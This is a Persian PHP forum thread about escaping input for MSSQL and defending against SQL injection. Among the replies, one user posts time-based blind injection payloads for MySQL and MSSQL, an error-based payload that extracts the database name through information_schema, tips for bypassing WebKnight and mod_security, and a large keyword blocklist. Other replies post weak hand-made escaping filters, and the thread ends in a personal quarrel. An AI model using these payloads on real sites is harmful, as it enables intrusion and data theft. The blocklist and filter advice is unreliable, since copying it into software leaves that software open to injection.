PDA

View Full Version : سوال: معادل تابع mysql_real_escape_string برای mssql



hamid-nic
دوشنبه 10 مرداد 1390, 15:26 عصر
سلام دوستان ، وقتتان بخیر
معادل تابع mysql_real_escape_string برای استفاده از بانک mssql چیه ؟
من یک تابعی با این محتوا از سایت stackoverflow.com پیدا کردم . به نظر شما آیا کافی و خوبه ؟!!

function ms_escape_string($data) {
if ( !isset($data) or empty($data) ) return '';
if ( is_numeric($data) ) return $data;

$non_displayables = array(
'/%0[0-8bcef]/', // url encoded 00-08, 11, 12, 14, 15
'/%1[0-9a-f]/', // url encoded 16-31
'/[\x00-\x08]/', // 00-08
'/\x0b/', // 11
'/\x0c/', // 12
'/[\x0e-\x1f]/' // 14-31
);
foreach ( $non_displayables as $regex )
$data = preg_replace( $regex, '', $data );
$data = str_replace("'", "''", $data );
return $data;
}

Net So
دوشنبه 10 مرداد 1390, 18:04 عصر
سلام حمید جان ( اگه اشتباه نکرده باشم :قلب: )
تابعی که مستقیم باشه من ندیدم به شخصه. کد بالا هم آسیب پذیر هست و میشه Bypass ش کرد. یک سری مقادیر اصلا Escape نمیشه ( حتی با Mysql_real_escape_string ) که بعد با همون مقادیر به سایت شما Inject میشه. به این خاطر هست که خیلی وقت ها تطابق ورودی با Black List راه بهتری هست و مضاف بر این سرعت پردازش Str_replace خیلی بیشتر از ترکیب preg_replace و یه پترن هست. برای قسمت اعداد هم
is_numeric جوابگو نیست و حتی
abs ( intval ( $Input)) هم میتونه مشکل ساز باشه.
برای مثال
در Mysql :

123' a%nd /*!30000if(1=1,BENCHMARK(292933,MD5(0x41)),0)*/ a%nd 'x'='x
OR

123)) a%nd /*!30000if(1=1,BENCHMARK(292933,MD5(0x41)),0)*/ a%nd 'x'='x
در Mssql :

123; iF (1=1) wAiTfOr dElAy '00:00:01'-%-
OR

123; iF (1=1) wAiTfOr dElAy '00:00:01((-%-

یه Black لیست میزارم براتون ، امیدوارم کمکتون کنه :


$Sql = array (

'Sql' => "." ,
'Sql' => "'" ,
'Sql' => '"' ,
'Sql' => ':' ,
'Sql' => '-' ,
'Sql' => '*' ,
'Sql' => '!' ,
'Sql' => '+' ,
'Sql' => '#' ,
'Sql' => '¿' ,
'Sql' => '¢' ,
'Sql' => 'À' ,
'Sql' => '@' ,
'Sql' => '>' ,
'Sql' => '<' ,
'Sql' => '=' ,
'Sql' => ')' ,
'Sql' => '(' ,
'Sql' => '--' ,
'Sql' => 'xa' ,
'Sql' => '||' ,
'Sql' => 'or' ,
'Sql' => 'if' ,
'Sql' => 'by' ,
'Sql' => '0x' ,
'Sql' => 'int' ,
'Sql' => 'JyI' ,
'Sql' => 'sql' ,
'Sql' => '%09' ,
'Sql' => '%0A' ,
'Sql' => '%0D' ,
'Sql' => 'and' ,
'Sql' => 'all' ,
'Sql' => 'MD5' ,
'Sql' => 'hex' ,
'Sql' => 'sys' ,
'Sql' => 'null' ,
'Sql' => 'dual' ,
'Sql' => 'char' ,
'Sql' => 'from' ,
'Sql' => 'cast' ,
'Sql' => 'rand' ,
'Sql' => 'drop' ,
'Sql' => '/**/' ,
'Sql' => 'sleep' ,
'Sql' => 'ascii' ,
'Sql' => 'where' ,
'Sql' => 'union' ,
'Sql' => 'limit' ,
'Sql' => 'floor' ,
'Sql' => 'group' ,
'Sql' => 'delay' ,
'Sql' => 'unhex' ,
'Sql' => 'count' ,
'Sql' => '/*--*/' ,
'Sql' => 'length' ,
'Sql' => 'latin1' ,
'Sql' => 'concat' ,
'Sql' => 'select' ,
'Sql' => 'insert' ,
'Sql' => 'update' ,
'Sql' => 'delete' ,
'Sql' => 'tables' ,
'Sql' => 'schema' ,
'Sql' => 'collate' ,
'Sql' => 'version' ,
'Sql' => 'convert' ,
'Sql' => 'General' ,
'Sql' => 'convert' ,
'Sql' => 'r3dm0v3' ,
'Sql' => 'db_name' ,
'Sql' => 'waitfor' ,
'Sql' => 'nvarchar' ,
'Sql' => 'database' ,
'Sql' => 'benchmark' ,
'Sql' => 'substring' ,
'Sql' => 'information' ,
'Sql' => 'mysql.help_topic' ,
'Sql' => 'information_schema.tables' );
منتهی اول ورودی ها رو strtolower کنید و بعد استفاده کنید.

eshpilen
دوشنبه 10 مرداد 1390, 18:29 عصر
یک سری مقادیر اصلا Escape نمیشه ( حتی با Mysql_real_escape_string )
مثلا؟

که بعد با همون مقادیر به سایت شما Inject میشه.
میشه یه مثال ازش درج کنید؟

hamid-nic
دوشنبه 10 مرداد 1390, 22:23 عصر
سلام
ممنون از پاسختون ،
یعنی تطابق ورودی با یک black list ی که شما ارائه کردید کافیه و بهترین راهه ؟ پیاده سازیش چطوریه ؟

Bahram0110
سه شنبه 11 مرداد 1390, 00:45 صبح
یعنی تطابق ورودی با یک black list ی که شما ارائه کردید کافیه و بهترین راهه ؟
به هیچ وجه!
فقط بار اضافی هست و استفاده ی بی مورد از منابع
مثلا تو مثال جناب Net So (http://barnamenevis.org/member.php?210728-Net-So) کلمه ی length به عنوان black list آورده شده. یعنی اگر عبارت length توی کوری بود باید حذف بشه؟

رضا قربانی
سه شنبه 11 مرداد 1390, 11:30 صبح
در جواب Net So (http://barnamenevis.org/member.php?210728-Net-So) بگم که تابعmysql_real_escape_string خودش به بانک اطلاعاتی ربط داره و چیزایی که اون فکر می کنه که باید فیلتر بشن رو فیلتر می کنه ، یعنی اگر ورژن مای اس کیو ال بالاتر هم بره این تابع آپ می شه و فکر کنم استفاده از این کافی باشه .

چه خبره .

یه کد ساده می دم برین حال کنید :لبخند:



$symbol = array(',', ')', '(', "'", '"','!', '?', '/', '[', ']', '+', '=', '#', '\x00', '\n', '\r', '\x1a', '&', '$');

if(isset($_POST['Famili']) )
{

$Famili = preg_replace("/<.*?>/", "",$_POST['Famili'] );
$Famili =str_replace( $symbol ,"",$Famili);

////////dastoorat///////
}

Net So
یک شنبه 16 مرداد 1390, 20:50 عصر
نمیدونم بحث هک تو این انجمن آزاده یا خیر :D
ولی مثلا برای بایپس از Web Knight از کرکتر % استفاده میکنیم که با بایپس شدن فایروال رو لایه 7 سرور ، Perm می گیریم. یا برای بایپس Mod_Security ، میایم حروف رو Small و Capital میکنیم.
لیست سیاهی که من نوشتم و خیلی دوستان مورد لطف قرار دادن !!! پشتش تجربه 5 ساله برنامه نویسی و امنیت تو حوزه وب خوابیده.
من هم میدونم تابع mysql_real_escape_string یه بانک کامل داره.


مثلا؟
-- که کامنت میکنیم باهاش دستورات رو بعد از اینجکت و % که بالاتر گفتم. حتی تو خود php.net هم اشاره شده بهش.


به هیچ وجه!
فقط بار اضافی هست و استفاده ی بی مورد از منابع
مثلا تو مثال جناب Net So (http://barnamenevis.org/member.php?210728-Net-So) کلمه ی length به عنوان black list آورده شده. یعنی اگر عبارت length توی کوری بود باید حذف بشه؟
lol
خود mysql_real_escape_string هم با بلک لیست چک میکنه و Valid میشن. فقط پشت صحنست. همه اینهایی که میگین میشه ماکزیمم 0.1 ثانیه. شما پروژه ی دولیت یا سازمانی نداشتید به حتم یا اینکه داشتید و آسیب پذیره . وگرنه همچین حرفی رو نمیزدید.


فکر کنم استفاده از این کافی باشه .
کافی نیست دوست من
کوئری زیر رو ببینید.
کد بوده مثلا :

$id1 = mysql_real_escape_string( $_REQUEST['id'] );
با کوئری پایین میشه :


mysql_real_escape_string(1111) and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(Hex(cast(database() as char))),0x27,0x7e)) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and '1'='1

eshpilen
دوشنبه 17 مرداد 1390, 15:32 عصر
کاربر Net So (http://barnamenevis.org/member.php?210728-Net-So)، منکه نفهمیدم شما چی میگید.
یه لیست بلند بالا گذاشتی میگی بلک لیست. خب یعنی چی؟ چکار کنیم؟ یعنی میگی در هر موردی هرچی از اون عبارت ها در ورودی کاربر بود حذف کنیم؟ لیست شما که شامل خیلی عبارت ها و کاراکترهایی میشه که وجودشون در متون عادی طبیعی و لازمه و جزو کلمه ها و علامتهای عادی زبان انگلیسی هستن! و همین الان آیا این کاراکترها و عبارات در بانک اطلاعاتی این فروم ذخیره نشدن؟


من هم میدونم تابع mysql_real_escape_string یه بانک کامل داره. جدا؟ کدوم بانک؟ سندش رو لطف میکنید؟
چیزی که در منوال رسمی PHP گفته شده اینه:

which prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a

یعنی همین چنتا کاراکتر رو Escape میکنه (و نه حتی حذف).
بنده هم تاحالا ندیدم چیزی رو حذف بکنه.
پس اون بانکی که شما میگید کجاست و چطوری استفاده میشه؟

رضا قربانی
سه شنبه 18 مرداد 1390, 11:04 صبح
کد بوده مثلا :
1
$id1 = mysql_real_escape_string( $_REQUEST['id'] );




با کوئری پایین میشه :

mysql_real_escape_string(1111) and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(Hex(cast(database() as char))),0x27,0x7e)) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and '1'='1







با کوئری پایین چی می شه ؟ این چیه که گذاشتید ؟ این کد رو باید داخل فایل نوشت تا اطلاعات تابع رو مشاهده کنیم ؟ اگه باید داخل فایل قرار بدیم که دیگه ه ک ر کل فایل php رو نمی گیره و جولوی خودش باز نمی کنه

eshpilen
سه شنبه 18 مرداد 1390, 12:22 عصر
از این کدها در نت زیاده. و از هر نمونه و مثال و کدی میشه یه تیکش رو برداشت. ولی خب که چی آخه؟! یعنی چی اونوقت؟ :متفکر:
بدون توضیح کافی و تست و اثبات عملی نمیشه هیچ نتیجه ای ازشون گرفت. اصلا معلوم نیست مال چه قضیه ای بودن و در چه شرایطی چطور صدق میکنن.
طرف میگه تجربهء 5 ساله داره، ولی درکش تا این حد بوده که هر کلمه و کاراکتری هرجا توی سناریوی حمله با هر شرایطی دیده ریخته توی یه Black list که معلوم نیست اگر بخوایم همهء اون عبارتها رو بلاک کنیم کاربر (فرضا انگلیسی زبان) باید به چه زبانی صحبت کنه (لابد به زبان روسی!). تازه فارسی هم باشه بازم خیلی وقتا نیاز به استفاده از اون کلمات و علامتها هست.

خدایی کلمات لیست سیاهش رو نگاه کنید! میخواستم چنتاش رو جدا و لیست کنم دیدم اصلا بیشترش همین داستانه!
بخوای همهء اون علامتها و کلمات رو بلاک کنی که کلا نصف زبان انگلیسی رو زدی ناقص کردی!
حتی توی یه چیزی مثل نام کاربری هم هیچ منطق و ضرورتی نداره همهء کلمات و علامتهای ذکر شده رو غیرمجاز بدونیم.
بعد این سوال بدیهی پیش میاد که مثلا الان همینجا که این عبارت ها رو درج کردن بلاک شدن؟ در دیتابیس درج نشدن؟ سایت هک شد؟ برنامه نویسان وی بالتین سوادشون کمتر بوده و اشتباه کردن؟

واقعا خنده دار نیست این کار؟
حرفایی که زده میشه، من نمیدونم این حرفا یعنی چی. یه حرفای بی معنی و مضحک.
و نمیدونم با این درک و اطلاعات آدم چطور میتونه دو خط برنامه بنویسه.

یه نفر هم اینجا نبود بجز بنده بیاد بگه د آخه یعنی چی اینا که گفتی حالا چیکار باید بکنیم؟
یکی دوتا پروفسور تالار PHP کجان پس؟ یعنی هیچ اطلاعات و نظری در اینمورد نداشتن؟ چرا سکوت میکنید؟ یخورده جسارت داشته باشید. نمیخوایم که آدم بکشیم؛ هرکسی حق داره و باید در این موارد ایراد و سوال و نظر خودش رو مطرح کنه.

اینطور حرفا اصلا برنامه نویسی رو به کل زیر سوال میبره. درحد آدمای سواد دوم ابتدایی هست که روی مباحث ریاضی نظر بدن.

eshpilen
سه شنبه 18 مرداد 1390, 12:24 عصر
راستی نکنه قضیهء دست انداختن و شاید بقول یارو ترول (http://barnamenevis.org/showthread.php?298682-%D8%AA%D8%B1%D9%88%D9%84-%28-%D8%AD%D8%AA%D9%85%D8%A7-%D8%A8%D8%AE%D9%88%D9%86%DB%8C%D8%AF-%29) و اینا باشه؟
ولی بهرحال نمیشه سکوت کرد و چیزی نگفت. بالاخره ما اینجا برگ چغندر که نیستیم! هرکس خواست بیاد هرچی بگه و هر ادعای بی سر و تهی بکنه و یک عده مبتدی و آدم ساده هم همینطور باور بکنن.
بنده ادعای سوادم نمیشه، ولی اینطور مطالب دیگه درحد نجومی مضحک و غیرمنطقی هست. مثل بد و بیراه گفتن میمونه.
شایدم اینها افرادی کم سن و سال هستن که تازه یه چیزی به خیال خودشون یاد گرفتن.
آدم قبل از اینکه دانش و مهارت پایه ذهنیش کامل رشد کنه بیاد بره روی کامپیوتر و برنامه نویسی مطالعه کنه آخر و عاقبتش همین میشه.
این پدیده قبلا وجود نداشته، الانه که طرف هنوز درسای راهنمایی رو تموم نکرده میبینی داره به خیال خودش کامپیوتر و برنامه نویسی و هک و امنیت کار میکنه!
ذهن وقتی دانش و مهارت پایه رو نداشته باشه و تربیت نشده باشه دچار توهم و هذیان میشه.
جدی میگم!
بنده خیلی شگفت شده بودم از این حرفا و مطالب بی سر و تهی که اینطور افراد میدن.
یکی از مواردی که بعنوان توجیه این پدیده بنظرم رسید این بود که عرض کردم.
این مورد اول نیست.

Sajjad.Aghapour
چهارشنبه 19 مرداد 1390, 04:00 صبح
سلام دوست عزیز جناب eshpilen
من نمیدونم مشکل شما چیه. ولی خواهشا به اعصاب خودتون مسلط باشید. اینطور حرف زدن هیچ دلیل منطقی نداره چون هرکسی در حیطه اطلاعاتی خودش حق اظهار نظر داره و هیچ کس حق تعرض به اون شخص رو حتی با دادن اطلاعات اشتباه نداره.

BlackList ها همیشه وجود داشته حالا چه Sql Injection، چه XSS ، چه Mysql چه MSSQL و ... .مگه شما قراره توی پارامتری که به سمت سرور میره کدهای SQL داشته باشی؟یا کدهای جاوا داشته باشی؟شما به کاربر اجازه میدی پارامتر شما رو به هرچی که خواست ست کنه و بده دست سرور؟
ببخشید من متوجه مشکل شما با این دوست عزیزمون نشدم و فقط به خاطر اینکه پست هاتون اسپم بود جواب دادم. موفق باشید....

eshpilen
چهارشنبه 19 مرداد 1390, 09:26 صبح
شما اول مطالب رو کامل و دقیق بخون. بعدم ببین سوادش رو داری که در چیزی اظهار نظر میکنی یا نه.
هر بچه ای میدونه BlackList چیه. هر بچه ای هم میدونه کد SQL چیه.
ولی این فرد که ادعاش میشه و میگه اینا حاصل 5 سال تجربه هست برداشته هرجا هر کلمه و کاراکتری دیده در هر دستور SQL در هر سناریوی حمله ای رو گذاشته توی BlackList. مثل اینکه یکی با نوشتن یه برنامه یه چیزی رو هک کنه و ما بیایم تمام دستورات و کاراکترهایی رو که در اون برنامه میبینیم بذاریم توی BlackList لیست. اینطوری که اون زبان برنامه نویسی عملا غیر قابل استفاده میشه و تازه خیلی از کلمات و کاراکترهای علامتگذاری زبانهای برنامه نویسی در زبان انسانی هم کاربرد دارن و بنابراین زبان انسانی هم ناقص و غیرمجاز میشه. این ناشیانه ترین و مضحک ترین چیزی هست که تاحالا در این زمینه دیدم!
شما نگاه کنید اون BlackList ایشون رو. اصلا بعلاوهء کاراکترهای علامتگذاری معمول کلی از کلمات پرکاربرد انگلیسی رو هم که تقریبا در هر متن چند خطی پیدا میشن و در متون کوتاهتر هم بسادگی پیدا میشن و کلمات کاملا عادی و مجاز هستن گذاشته توی BlackList.
اینقدر آدم نادان باشه و یه لحظه فکر و تحقیق و تست نمیکنه که چیزی که داره میگه اصلا با واقعیت جور درمیاد یا نه!
یعنی مثلا یه کاربری میخواد کامنت بزنه کلا بهتره زبان انگلیسی رو بیخیال شه و با زبان روسی کامنت بزنه. این مضحک نیست؟ یه بچه هم میتونه بفهمه که اشتباه کرده.
یا مثلا همین کاراکترها چطور در همین فروم درج شدن؟ توی دیتابیس نرفتن؟ چرا بلک لیست نشدن؟ فروم هک شد؟ برنامه نویساش بی سواد و احمق بودن؟
چیزهای به این واضحی و گندگی رو طرف نمیبینه.
بعدم برمیداره چنتا دستور رو همینطوری بدون توضیح و Test case و اثبات میچپونه توی تاپیک بعنوان اثبات ادعای خودش. فکر کرده ما هم هرچی کاراکتر و کلمه توی اونا میبینیم باید بلک لیست کنیم! یه برداشت خیلی خیلی ناشیانه.
نخیر به هیچ وجه اینطوری نیست. بنظر شما اینطوریه؟!
ضمنا منم میتونم براتون چنتا فرمول فیزیک و ریاضی پیچیده که کسی ازش سردرنیاره بذارم توی تاپیک و بگم اثبات حرفامه. اصلا میتونم از خودم فرمول درست کنم. آیا این کار درسته؟ شما اگر میخوای چیزی رو به دیگران ثابت کنی باید به شکل مستند و کامل نشون بدی.
و اینو بگم اینکه این فرد حرفای دیگری زد این احتمال رو میدم که اینا حقه بازیش بوده باشه. مثلا در جایی که در پاسخ دیگری میگه بله منم میدونم که mysql_real_escape_string یه بانک کامل داره (منظورش همون بلک لیست هست). یعنی میخواد بگه mysql_real_escape_string هم چیزی مثل بلک لیست خودشه. درحالیکه این حرف هیچ پایه و اساسی نداره و اصلا اینطور نیست. mysql_real_escape_string فقط 4-5 تا کاراکتر خاص رو escape میکنه که در رفرنس آمده (و حتی حذف هم نمیکنه که بگیم یه بلک لیست کوچک هست).
آدم بی سوادی که مطالب اشتباه میگه و روشش هم کاملا غیرعلمی هست و در یک محیط تخصصی هیچ سند و استدلال درخوری برای ادعاهای عجیبش نمیذاره و نشانه های حقه بازی و دروغگویی رو هم داره، بنظر شما چطور باید باهاش برخورد کرد؟ ضمنا برخورد بنده شخصی نبوده، بلکه فقط چیزی رو که وجود داره و میدونم و عینا دیدم بیان کردم تا این مطالب اشتباه دیگران رو گمراه نکن. حالا این وسط اون طرف هم ضایع میشه تقصیر خودشه. قرار نیست ما رعایت هرکسی رو به هر بهایی بکنیم. اینجا محیط تخصصی هست و هرکس میتونه نظرش رو بده و نظر دیگران رو به چالش بکشه. روش غیرعلمی، موارد مغلطه و حقه بازی و دروغگویی، همه رو مجاز هستیم به صریح ترین شکل نشون بدیم.

eshpilen
چهارشنبه 19 مرداد 1390, 09:38 صبح
ظاهرا شما BlackList ایشون رو خوب ندیدی و دقت نکردی یا اصلا نمیدونی مفهومش چیه.
یه بار دیگه در این صفحه اون رو کپی میکنم جلوی چشمتون تا ملاحظه بفرمایید:

$Sql = array (

'Sql' => "." ,
'Sql' => "'" ,
'Sql' => '"' ,
'Sql' => ':' ,
'Sql' => '-' ,
'Sql' => '*' ,
'Sql' => '!' ,
'Sql' => '+' ,
'Sql' => '#' ,
'Sql' => '¿' ,
'Sql' => '¢' ,
'Sql' => 'À' ,
'Sql' => '@' ,
'Sql' => '>' ,
'Sql' => '<' ,
'Sql' => '=' ,
'Sql' => ')' ,
'Sql' => '(' ,
'Sql' => '--' ,
'Sql' => 'xa' ,
'Sql' => '||' ,
'Sql' => 'or' ,
'Sql' => 'if' ,
'Sql' => 'by' ,
'Sql' => '0x' ,
'Sql' => 'int' ,
'Sql' => 'JyI' ,
'Sql' => 'sql' ,
'Sql' => '%09' ,
'Sql' => '%0A' ,
'Sql' => '%0D' ,
'Sql' => 'and' ,
'Sql' => 'all' ,
'Sql' => 'MD5' ,
'Sql' => 'hex' ,
'Sql' => 'sys' ,
'Sql' => 'null' ,
'Sql' => 'dual' ,
'Sql' => 'char' ,
'Sql' => 'from' ,
'Sql' => 'cast' ,
'Sql' => 'rand' ,
'Sql' => 'drop' ,
'Sql' => '/**/' ,
'Sql' => 'sleep' ,
'Sql' => 'ascii' ,
'Sql' => 'where' ,
'Sql' => 'union' ,
'Sql' => 'limit' ,
'Sql' => 'floor' ,
'Sql' => 'group' ,
'Sql' => 'delay' ,
'Sql' => 'unhex' ,
'Sql' => 'count' ,
'Sql' => '/*--*/' ,
'Sql' => 'length' ,
'Sql' => 'latin1' ,
'Sql' => 'concat' ,
'Sql' => 'select' ,
'Sql' => 'insert' ,
'Sql' => 'update' ,
'Sql' => 'delete' ,
'Sql' => 'tables' ,
'Sql' => 'schema' ,
'Sql' => 'collate' ,
'Sql' => 'version' ,
'Sql' => 'convert' ,
'Sql' => 'General' ,
'Sql' => 'convert' ,
'Sql' => 'r3dm0v3' ,
'Sql' => 'db_name' ,
'Sql' => 'waitfor' ,
'Sql' => 'nvarchar' ,
'Sql' => 'database' ,
'Sql' => 'benchmark' ,
'Sql' => 'substring' ,
'Sql' => 'information' ,
'Sql' => 'mysql.help_topic' ,
'Sql' => 'information_schema.tables' );

ولی اینطور که معلومه شما هم چیزی از این مباحث نمیدونی. فقط بقول خودت میدونی تعریف BlackList چیه و فکر میکنی چون BlackList وجود داره هر BlackList ای منطقی/مجاز هست.

مگه شما قراره توی پارامتری که به سمت سرور میره کدهای SQL داشته باشی؟یا کدهای جاوا داشته باشی؟شما به کاربر اجازه میدی پارامتر شما رو به هرچی که خواست ست کنه و بده دست سرور؟مرد حسابی توی لیستی که میبینی بیشترشون علامتها و کلمات عادی و مورد نیاز در زبان انگلیسی هستن. حالا چون در دستورات SQL هم استفاده میشن ما باید اونا رو بلاک کنیم؟ پس مردم دیگه به چه زبانی چی تایپ کنن؟ مثلا شما نمیتونی اسم کاربری خودت رو بذاری General Sajjad؟ نمیتونی دو خط کامنت انگلیسی بنویسی؟ نمیتونی در جمله هات از علامتگذاری استاندارد زبان انسانی استفاده کنی؟
and where are you from
الان از این جملهء انگلیسی معمولی چند کلمش جزو BlackList بالا هست؟
نیاز بود حتما مثال بزنم؟ یعنی شما تشخیص نمیدی خیلی از اون کلمات همه کلمات پرکاربرد زبان انگلیسی هستن؟!
تازه علامتهاش هم همینطور. مثلا شما نمیتونی از علامت جمع، @، کوچکتر و بزرگتر و خیلی های دیگه استفاده کنی!!
خدایی شما انگار چشماتون رو بستید. یخورده بیشتر دقت کنید یا همونطور که گفتم در چیزی که صلاحیت ندارید اظهار نظر عجولانه نکنید.
من استدلال خودم رو گفتم و برای ادعای طرف مقابل هم سندی نیست. شما هم حرفی داری لطفا مستند یا با استدلال عقلایی نشون بده.

بخشید من متوجه مشکل شما با این دوست عزیزمون نشدم و فقط به خاطر اینکه پست هاتون اسپم بود جواب دادمپست من اگر چیز اضافه ای هم داشته بوده باشه کمتر از مطالب ایشون میشه اسمش رو اسپم گذاشت.
مطالب عجیب و بدون سند و استدلال ایشون چون اسم مطلب تخصصی روش هست و دوتا کد گذاشته اسپم نیست؟
این طرف اصلا حرف زدنش اسپمه! اگر بنده هم مقداری داغ کردم بخاطر همین رفتار و ادعاهای مضحک بوده که اصلا در شان ما و یک فروم تخصصی نیست. قرار نیست هرکس از راه میرسه هر چرندی میخواد توی فروم درج کنه، صرفا به این خاطر که همه اجازه دارن مطلب درج کنن. منم نمیگم جلوش رو بگیریم، ولی باید ازش بازخواست بشه یا نه؟ آیا شما که مثلا مدیر هستی عمرا میامدی از ایشون بازخواست کنی بگی اینا چیه سند و استدلالش چیه؟ بنظر شما که اصلا مطالب مشکلی نداره!! اصلا شما بر هیچ مطلبی نظارتی میکنی؟ فقط مسئول حل و فصل دعوا هستید لابد؟ البته نمیدونم شایدم وظیفهء رسمی شما در همین حد باشه.

eshpilen
چهارشنبه 19 مرداد 1390, 10:40 صبح
سخت گیرانه ترین ماجول امنیتی ای که بنده تاحالا دیده بودم بعضی عبارات مثل /tmp (آدرس دایرکتوری خاصی در سیستمهای یونیکس و لینوکس و غیره) رو بلاک میکرد که همینم باعث شده بود آدم نتونه در یک فروم تخصصی دوتا اطلاعات و کد برنامه نویسی عادی رو درج کنه. این ماجول رو هم تا حالا فقط در یک سایت دیدم استفاده میکنن؛ البته حتما خیلی جاهای دیگر هم استفاده میشه، ولی درکل درصد استفاده ازش باید کم باشه (و شاید هم درجهء سختگیری اون قابل تنظیم هست).
ولی این بابا دیگه اومده کاری کرده که اصولا هیچکس نتونه یه جملهء عادی رو هم در جایی درج کنه. کلماتی مثل from، where, and و خیلی های دیگه و علامتهای پرکاربرد زبان انسانی، همه رو برداشته بلک لیست کرده. چنین چیزی چه کاربردی داره و کجا مناسبه من واقعا نمیدونم! احتمالا ورودیهای کاربر رو بطور کلی ببندیم بهتره! با این معیارها همهء اطلاعاتی که از سمت کلاینت میاد میتونه خطرناک باشه و باید بلاک بشه.
از عجایب روزگار!
این چیزی که طرف ما گذاشته بلک لیست نیست، این طرف اومده هرچی هکر تایپ کرده رو چپونده توی بلک لیست. مثلا هکر اگر درخلال یه جلسهء هک پیام میداد که «من میرم دستشویی بعد میام بقیهء سایتتون رو هم هک میکنم» ایشون تمام این کلمات رو هم میذاشت توی بلک لیست!

eshpilen
چهارشنبه 19 مرداد 1390, 11:04 صبح
مگه شما قراره توی پارامتری که به سمت سرور میره کدهای SQL داشته باشی؟یا کدهای جاوا داشته باشی؟شما به کاربر اجازه میدی پارامتر شما رو به هرچی که خواست ست کنه و بده دست سرور؟بر فرض هم که ما یه پارامتری داشته باشیم که اصلا مربوط به کارکرد داخلی برنامه میشه و هیچ ارتباطی به کاربر نداره.
روش ولیدیت کردن این پارامتر استفاده از چنین بلک لیست هایی نیست و هیچ ضرورتی در این کار نمیبینم. شما مورد معتبر و منبعی برای توصیهء این روش پیدا کردید ما رو هم خبر کنید! منکه تاحالا چنین چیزی ندیدم.
یه پارامتر Internal که تقریبا همیشه خیلی محدود شده هست رو میشه از راههای خیلی راحتتر و قطعی تری ولیدیت کرد. مثلا اگر پارامتر عددی هست چک میکنی که عدد باشه و فرضا منفی نباشه یا فرضا در محدودهء خاصی باشه. نیازی به بلک لیست نیست (و اصلا بلک لیست در این موارد به هیچ وجه امن نیست). اگر یک گزینه از میان چند آیتم هست چک میکنی که یکی از اون آیتم ها باشه و هیچ چیز دیگری نباشه (وایت لیست). در خیلی موارد گسترده تر هم میشه از رگولار اکسپرشن استفاده کرد.
اگر مقادیر ممکن برای پارامتر خیلی زیاد یا آپشنال باشن هم باز تقریبا از همون جهتی که این بلک لیست برای ولدیت ورودی معمولی کاربر قابل استفاده نیست باهاش به مشکل میخوریم و از نظر منطقی توجیهی نداره. آخه کجای کلمهء and و general و غیره و غیره خطرناکه و اینا جزو دستورات SQL هستن؟ اینا جزو همه چیز هستن، زبان انسانی، زبانهای برنامه نویسی و خیلی چیزهای دیگه. کلماتی کاملا کلی هستن که تقریبا در همه جا و همه چیز بکار میرن (بنظرم کاربردشون حتی در پارامترها و اجزای داخلی برنامه هم خیلی عادی باشه). اینا به خودی خود هیچ خطری ندارن. حمله ها توسط کاراکترها و عبارات دیگری شروع میشه که اگر جلوی اونا رو بگیری بقیه هیچ خطری ندارن؛ تازه حتی اون کاراکترها و کلمات شروع کننده رو هم خیلی وقتا نیازی نیست بلاک/حذف کنی، بلکه صرفا escape کردن اونها موقع ذخیره و نمایش کافیه.
کلا هم یک بار دیگه لیست رو با دقت نگاه کنید میبینید که اصولا در بیشتر برنامه ها و پارامترهاشون حداقل چنتا از اون موارد خیلی محتمل هست که استفاده بشن. بعنوان یک مثال از ده ها مثال ممکن از کاربرد کلمات و علامتهای بلک لیست ایشون در پارامترهای برنامه ها، کلمهء rand بعنوان مقدار پارامتر در خیلی از برنامه ها استفاده میشه. بعد ما باید چیکار کنیم مثلا؟ بجای اونا از چیز دیگه استفاده کنیم؟! میگم دقیقا مثل همون مورد که بجای زبان انگلیسی بیایم از روسی استفاده کنیم در برنامه نویسی هم لابد بجای کلمات و علامتهای متعارفی که همه ازشون استفاده میکنن باید بریم یه سری علامت و کلمات جدیدی از جایی و زبان دیگری پیدا کنیم که توی هیچ دستور برنامه نویسی ای معادل نداشته باشن!!

خلاصه یخورده تجربه داشته باشید و به خودتون فشار بیارید و فکر کنید متوجه میشید که اون بلک لیست اصلا مفهوم و کاربرد خاصی نداره و عملا غیرقابل استفاده هست. مگر در یه جایی و مواردی خیلی خاص و محدود با شرایط و دلایل خاصی که بنده شخصا سراغ ندارم و ایشون هم هیچ اشاره ای به چنین چیزی نکردن تا بررسیش کنیم.

Sajjad.Aghapour
چهارشنبه 19 مرداد 1390, 16:35 عصر
حالا چرا اینقدر عصبانی :دی
این بحث کاملا بیهوده است چون وقتی پای احساسات درمیون باشه عقل کاره ای نیست و من هم به شخصه به این نوع بحث ها نگاه هم نمی اندازم مخصوصا با لحن های زشتی که جواب داده میشه. میگن آدم هرچی سوادش بیشتر میشه تواضعش بیشتر میشه. به خودش اجازه نمیده در حضور بزرگان (منظورم شخص حقیر نیست) پرحرفی کنه(مخصوصا بی ادبانه) و به زیردست خودش(بنده حقیر) اهانت کنه...فرضا ایشون هم اشتباه کرده باشه که نکرده اینقدر زننده نباید جواب داده بشه....

اما از جواب دادن به چیزهای بی اهمیتی مثل تعیین حدود وظایف و صلاحیت بنده بگذریم و بحث اصلی(هرچند اصلا وقتش رو ندارم. همین الان هم بعد از حدود 17 ساعت کدنویسی خدمت شما هستم و باید برم):


ولی این فرد که ادعاش میشه و میگه اینا حاصل 5 سال تجربه هست برداشته هرجا هر کلمه و کاراکتری دیده در هر دستور SQL در هر سناریوی حمله ای رو گذاشته توی BlackList. مثل اینکه یکی با نوشتن یه برنامه یه چیزی رو هک کنه و ما بیایم تمام دستورات و کاراکترهایی رو که در اون برنامه میبینیم بذاریم توی BlackList لیست. اینطوری که اون زبان برنامه نویسی عملا غیر قابل استفاده میشه و تازه خیلی از کلمات و کاراکترهای علامتگذاری زبانهای برنامه نویسی در زبان انسانی هم کاربرد دارن و بنابراین زبان انسانی هم ناقص و غیرمجاز میشه. این ناشیانه ترین و مضحک ترین چیزی هست که تاحالا در این زمینه دیدم!
شما نگاه کنید اون BlackList ایشون رو. اصلا بعلاوهء کاراکترهای علامتگذاری معمول کلی از کلمات پرکاربرد انگلیسی رو هم که تقریبا در هر متن چند خطی پیدا میشن و در متون کوتاهتر هم بسادگی پیدا میشن و کلمات کاملا عادی و مجاز هستن گذاشته توی BlackList.
اینقدر آدم نادان باشه و یه لحظه فکر و تحقیق و تست نمیکنه که چیزی که داره میگه اصلا با واقعیت جور درمیاد یا نه!
